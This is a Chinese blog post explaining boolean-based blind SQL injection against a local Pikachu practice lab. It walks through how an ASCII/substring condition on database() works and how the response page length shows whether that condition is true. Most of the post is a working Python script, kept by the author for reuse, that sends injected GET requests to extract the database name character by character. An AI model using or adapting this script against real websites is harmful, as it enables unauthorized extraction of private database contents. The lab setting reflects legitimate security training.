Catalog
  1. 1. 本地环境
    1. 1.1. 分析一下
  2. 2. 源码
    1. 2.1. 结果
Python注入爆库脚本

最近写的,然后记录一下,留着以后可以改改再用。

本地环境

用之前的环境,来写一下。然后讲一下,就放代码了。

靶场

前面的文章也讲的很清楚了,一个get注入,post注入同理,改一下payload就可以了。

理解一下SQL语句。

1
select id,email FROM member where username='kobe' and ascii(substr(database(),1,1))<113;

分析一下

1
select id,email FROM member where username='kobe'

查询表member内username为kobe的内容。

1
and

数据库的逻辑运算符,且运算,两个都为真才为真。也就是后面的语句

1
ascii(substr(database(),1,1))<113;

也为真才能执行。这个语句的意思是:查询数据库名从第一个开始截取的第一个字符,然后再把这个字符转换成ASCII码,然后判断是否小于113,第一个字符是:P,对应的ASCII为112。

当第二个条件为真时,在web端的查询就会返还出结果显示到页面中,我们可以通过返还的页面的长度判断第二个条件是否为真,通过这个原理爆破数据库内容。直接放源码。

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding: utf-8 -*-
import requests


def payload(vcode, count):
url = 'http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=kobe+%27+and+ascii%28substr%28database%28%29%2C' + str(
vcode) + '%2C1%29%29= ' + str(
count) + '%23&submit=查询#&submit=%E6%9F%A5%E8%AF%A2'
# 发送请求包
r = requests.request("GET", url)
r.encoding = 'utf-8' # 将内容转换成utf-8编码
return len(r.text) # 返还内容长度


count = 1 # ascii码
vcode = 1 # 设置从哪一位开始
payload(vcode, count)
while (count < 129):
# print("ascii码是" + str(count))
# print("返还长度是" + str(payload(vcode, count)))
payload(vcode, count)
if payload(vcode, count) == 33277: # 回显正常返还的长度为33277
# chr(count)
print(chr(count)) # 将ascii码转成字符再输出
vcode = vcode + 1
count = 0
count = count + 1

结果

Author: 九指
Link: /2019/07/16/Python%E6%B3%A8%E5%85%A5%E7%88%86%E5%BA%93%E8%84%9A%E6%9C%AC/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
  • 支付寶